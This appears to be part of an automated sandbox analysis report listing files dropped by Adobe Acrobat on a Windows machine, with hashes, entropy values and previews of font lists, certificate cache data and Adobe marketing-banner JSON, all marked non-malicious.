Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkljnwtkVltfllXlE/HT8k2h/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKxtseT8dVNMa8RdWBwRd
MD5:	97C21E84E672A3D5E944DC012EEA4FF5
SHA1:	814F0C6E6EA6E48DC9861DF10C08D72D81DD2DA3
SHA-256:	CAE0CB20A19500EF698D9C3A03466DB4689BBC12C36BEF2B21667244BBD2D1C1
SHA-512:	C74DA33FA956EE63AF9D25ECFB07616B2E9E0D54B206461E79ED62E6CDFB77345EF5D4A7525EA2AE7642874D0F50E16EDD19D4A8A5DCDEFC0A39C656AF2292CA
Malicious:	false
Preview:	p...... ..........=.c..(....................................................... ..........W....y...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4412

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4412

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.374395712176033
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJM3g98kUwPeUkwRe9:YvXKXrzc7GMbLUkee9
MD5:	D409544227ADDB18009413238D8B344F
SHA1:	95D7CFDA7E21A10B227E0482ED2F2F569D59BFE7
SHA-256:	D07D4FCA2050E4A4A3C31C91B352024C9D602439B06D94A3D6513802E798F0AA
SHA-512:	8FA2E64D2523BED81ABC6B3E1DA1E3A8B1DBD984F9E811B8F41AE736FC78E400D052697607ECC4CAD70DCCF8F2BA88634584E60CE47C13EF4D94FCE04C073C15
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.326654478521061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJfBoTfXpnrPeUkwRe9:YvXKXrzc7GWTfXcUkee9
MD5:	CC0C2404BA39D6BBFB6B73FECAFC30C4
SHA1:	306F86B60FFBF8A0B8E5DA1AE30BD5D53943E4AE
SHA-256:	F0F6E741D349E7978ABF632A05C8BE8C2C8C022B9573605304304F00704A43F4
SHA-512:	CF14E277D5605324A0234E6FB17ACC1562164B2B8F6F54B264FCC2C16C61A55F6B8E2AF9EC423080E03DD64B869322E5EABAFE2AB2ABBA65375D086EA7EC4BD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305649513916138
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJfBD2G6UpnrPeUkwRe9:YvXKXrzc7GR22cUkee9
MD5:	8AFE07E6C76D867883C6C25472502DC3
SHA1:	C1DBA21681D18B9DCF1AFA9D3691858F7095D8C9
SHA-256:	D74FD569A65C555DA7932EB422D821F3331C5A27FD495099E6ECF75FFD75BA38
SHA-512:	4F3150B59B76A81BB5B13FF4721485013ABE5987F3EBCFDC313DF7A975D9C5D4E28C41497E2E2FA0B24B886096E90005F63CAD915733D4FEA98C65B7DFFD0D3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.354805386992912
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJfPmwrPeUkwRe9:YvXKXrzc7GH56Ukee9
MD5:	BEAF2E7BFFC3934C6D0F97B21D069DF2
SHA1:	BBFD30B5943225359B9BA7344E5DE0397958B764
SHA-256:	BAE666A2E4715E36AB5EF0DADC08C19365D9BCBA21723855C5F0B431405B03B7
SHA-512:	BC8B346846A2D49AB52D622016D1DC663B603AB562526E6EC85883A177199D953CD9068703128C78889E3D95F64A1B5B910CA22EA4A463B279788D47CEC6A55C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6884115493792295
Encrypted:	false
SSDEEP:	24:Yv6XrYQpLgE9cQx8LennAvzBvkn0RCmK8czOCCS+:Yvohgy6SAFv5Ah8cv/+
MD5:	E2B16175CF67524A9D512FD348183108
SHA1:	B47199D3908D9D057CBE12F8DD0A0A8A3D8EEFEA
SHA-256:	A80512ECDA1BD9A0B66481E53CECCB93C91680653A8B9C23C59253D084CD2E68
SHA-512:	0E13CDDE60E9EA2FDB213366D5DFB42DBCD99C1DAF9929BD43018BD2480FE414BF846AAD19D03FA023AFCA3EAAF9789E5EA96A9F3E7F023F69D25328213FF814
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3041445591145955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJf8dPeUkwRe9:YvXKXrzc7GU8Ukee9
MD5:	57B65E51A1DFCC37A894C6E300F7659C
SHA1:	027312172FE7C36E5E5106FC8D4C4D8FAB5C95C2
SHA-256:	478F05A83E163ED5BD76CA92B6B48D5EF0E2CA921696FF8AC664D9582DB8C97A
SHA-512:	32A72204B134FF17A340CD96AE3B8509E7FC8FBB837DA46EAEC0866C92ACE6FD686508016E9049E64D6316A0EFE81960B81D67B081ADA08BB74F0C105C4FC4C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.306754230170627
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJfQ1rPeUkwRe9:YvXKXrzc7GY16Ukee9
MD5:	41F76A461D7814774929C3A9BE6DFAA9
SHA1:	A4240C2A306E47CE4C2981D8D61381D978724B1C
SHA-256:	2F20C8351A4712DD97AE9F5D04B5AC3F7DD596A78E19445A6A6237B491DBD08C
SHA-512:	1108FBE64829B6822CD24DCC426ACADC5E160C704DA8129329DB9979FE58E88B323206FA9ACA069FCD8D4E7649AE3DBED6FF0EAB8C6B920C3FA57F19AD85DA0D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314129060023397
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJfFldPeUkwRe9:YvXKXrzc7Gz8Ukee9
MD5:	1659D2A1045D9B51BB7345A4AADD9872
SHA1:	4D1CBB0E6A032EF3790EA79BADB97CC4F6EF3C67
SHA-256:	494EF384CEC8C8F3DDC30CDA1611145D469AC90619F7ED4DD6542E6E8362E188
SHA-512:	62E3A35D8E62F50A8446443E144856B50252C0130807C6926639F3BD0A6261F01C9C3916161314AFEB9668C8036B0EC3D25F49DCE226BBD30EDE69C37F6FE2CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.330246962341132
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJfzdPeUkwRe9:YvXKXrzc7Gb8Ukee9
MD5:	437F2426C8FEB92B5F03AE352BCF93F9
SHA1:	11184E82912128987684A43672E5006DA7880169
SHA-256:	BFF8BD82F27D8536EFFCF845A83A2FC7DA19E6DE29252C5AD0A741A8294A1160
SHA-512:	B7F345DD4CF576F92DA29C6B9F8E9E1A7D914610AE9C30D24CCC41379B7CCB3D5F550E3D9DC3422B951A7984E760BBD079D96EF4A9D34EBF936CB72BE6E66807
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3111166568398565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJfYdPeUkwRe9:YvXKXrzc7Gg8Ukee9
MD5:	269F96498304FD809E89B2FFDC536AFE
SHA1:	BEE5E8698E94EEFCD930BBFCD5C74F5A6BC1562C
SHA-256:	F1460FBBDA22EDF87AC65A769B1822270AA32DC908FDC24747E488480AC0D943
SHA-512:	9CEAA37C572C1B00A8FE86DF7FEB4E4BF6C63FBCCA5D1EA7178C2E3C50D78782EA5434A5D4B884975B500F7677B9734DBFC4167E37FD08ABCBE737350FD32658
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.297661736379804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJf+dPeUkwRe9:YvXKXrzc7G28Ukee9
MD5:	277C51C5B94D12047C741492106857AE
SHA1:	F8837DF91AF1ACFA71CCDEE32430D81D01404E2F
SHA-256:	764DB355C4ED8D300C55D27CD21C8587455F72EFEF3F6342378A0F74EF1497E9
SHA-512:	CB3DEB789675C352DF0F16896193821519F1DE6701FCB18A684FB924EA37CF3D690E6B3AF92E165D1406353387FF821B67458AA2A8C9DB72D2FF306056075777
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.294587351373925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJfbPtdPeUkwRe9:YvXKXrzc7GDV8Ukee9
MD5:	87C09476C4E586F0C24C7AFF60C7875C
SHA1:	2E63A5F61D06D7A641741E3CFAFE209D92A902CC
SHA-256:	755082D677D8F8C1126BBCF63C8E3E665794025A914EB3155B9F1449A0C036F3
SHA-512:	BD176ED884AA8F177BBCDBAD56DFC4E31039319AC6D118737B83FCC6B40435439985991E799BF99DE0ABAB2791DFAD3267EC78C16018F671230D8C29781CE003
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.29812254281921
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJf21rPeUkwRe9:YvXKXrzc7G+16Ukee9
MD5:	53F2028A0E69FA98B0FFF6943B62117D
SHA1:	918A29E1D1CE031405D52B63E1882EFDE8E8FD85
SHA-256:	18544F89FD536B680EC383E8A74F84CD2840466A4AE580099397798EA9A8982E
SHA-512:	E8A3CB4FBC1B5D96B73DB82A2B7A193BDC69A2283C79A83345A5FD20829EC405D3D614C98BA3A22B4270C465C27E84ABD08F22059F9B5272E1271F8547EADDEB
Malicious:	false
